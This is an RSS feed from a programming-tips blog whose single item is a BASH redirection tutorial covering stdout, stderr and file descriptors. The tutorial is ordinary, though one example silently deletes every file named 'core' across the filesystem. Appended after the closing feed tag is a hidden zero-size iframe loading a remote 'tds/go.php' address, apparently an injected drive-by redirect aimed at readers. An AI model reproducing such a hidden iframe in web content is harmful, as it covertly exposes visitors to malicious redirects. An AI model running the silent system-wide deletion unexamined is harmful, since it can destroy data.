<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; bash</title>
	<atom:link href="http://www.dijexi.com/tag/bash/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>BASH Redirection</title>
		<link>http://www.dijexi.com/2010/01/bash-redirection/</link>
		<comments>http://www.dijexi.com/2010/01/bash-redirection/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 04:40:23 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[redirection]]></category>
		<category><![CDATA[stderr]]></category>
		<category><![CDATA[stdout]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2010/01/bash-redirection/</guid>
		<description><![CDATA[Quick reference In BASH terminology, there are 3 file descriptors, stdin, stdout and stderr (std means standard). Basically you can: redirect stdout to a file redirect stderr to a file redirect stdout to a stderr redirect stderr to a stdout redirect stderr and stdout to a file redirect stderr and stdout to stdout redirect stderr [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2><a name="ss3.1">Quick reference</a></h2>
<p>In BASH terminology, there are 3 file descriptors, stdin, stdout and stderr (std means standard). </p>
<p>Basically you can: </p>
<ol>
<li>redirect stdout to a file </li>
<li>redirect stderr to a file </li>
<li>redirect stdout to a stderr </li>
<li>redirect stderr to a stdout </li>
<li>redirect stderr and stdout to a file </li>
<li>redirect stderr and stdout to stdout </li>
<li>redirect stderr and stdout to stderr </li>
</ol>
<p> Next, 1 represents stdout and 2 means stderr.
<p>A little note for seeing this things: with the less command you can view both stdout (which will remain on the buffer) and the stderr that will be printed on the screen, but erased as you try to &#8216;browse&#8217; the buffer. </p>
<p> <span id="more-1308"></span><br />
<h2><a name="ss3.2">stdout 2 file </a></h2>
<p>This will cause the ouput of a program to be written to a file. </p>
<blockquote><p><code></code>
<pre>        ls -l &gt; ls-l.txt
        </pre>
</blockquote>
<p>Here, a file called &#8216;ls-l.txt&#8217; will be created and it will contain what you would see on the screen if you type the command &#8216;ls -l&#8217; and execute it. </p>
<h2><a name="ss3.3">stderr 2 file </a></h2>
<p>This will cause the stderr ouput of a program to be written to a file. </p>
<blockquote><p><code></code></p>
<pre>        grep da * 2&gt; grep-errors.txt
        </pre>
</blockquote>
<p>Here, a file called &#8216;grep-errors.txt&#8217; will be created and it will contain what you would see the stderr portion of the output of the &#8216;grep da *&#8217; command. </p>
<h2><a name="ss3.4">stdout 2 stderr</a></h2>
<p>This will cause the stderr ouput of a program to be written to the same file descriptor than stdout. </p>
<blockquote><p><code></code></p>
<pre>        grep da * 1&gt;&amp;2
        </pre>
</blockquote>
<p>Here, the stdout portion of the command is sent to stderr, you may notice that in differen ways. </p>
<h2><a name="ss3.5">stderr 2 stdout </a></h2>
<p>This will cause the stderr ouput of a program to be written to the same filedescriptor than stdout. </p>
<blockquote><p><code></code></p>
<pre>        grep * 2&gt;&amp;1
        </pre>
</blockquote>
<p>Here, the stderr portion of the command is sent to stdout, if you pipe to less, you&#8217;ll see that lines that normally &#8216;dissapear&#8217; (as they are written to stderr) are being kept now (because they&#8217;re on stdout). </p>
<h2><a name="ss3.6">stderr and stdout 2 file </a></h2>
<p>This will place every output of a program to a file. This is suitable sometimes for cron entries, if you want a command to pass in absolute silence. </p>
<blockquote><p><code></code></p>
<pre>        rm -f $(find / -name core) &amp;&gt; /dev/null
        </pre>
</blockquote>
<p>This (thinking on the cron entry) will delete every file called &#8216;core&#8217; in any directory. Notice that you should be pretty sure of what a command is doing if you are going to wipe it&#8217;s output.</p>
<p>&#160;</p>
<p><div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:67c97eae-2a14-49c3-9cc5-1c3daf9b7460" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/linux" rel="tag">linux</a>,<a href="http://technorati.com/tags/bash" rel="tag">bash</a>,<a href="http://technorati.com/tags/redirection" rel="tag">redirection</a>,<a href="http://technorati.com/tags/stdout" rel="tag">stdout</a>,<a href="http://technorati.com/tags/stderr" rel="tag">stderr</a></div></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/03/show-the-list-of-installed-packages-on-ubuntu-or-debian/" rel="bookmark">Show the List of Installed Packages on Ubuntu or Debian</a></li><li><a href="http://www.dijexi.com/2009/07/5-simple-basic-steps-to-create-facebook-application/" rel="bookmark">5 Simple Basic Steps to Create Facebook Application</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2010%2F01%2Fbash-redirection%2F&amp;linkname=BASH%20Redirection"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2010/01/bash-redirection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
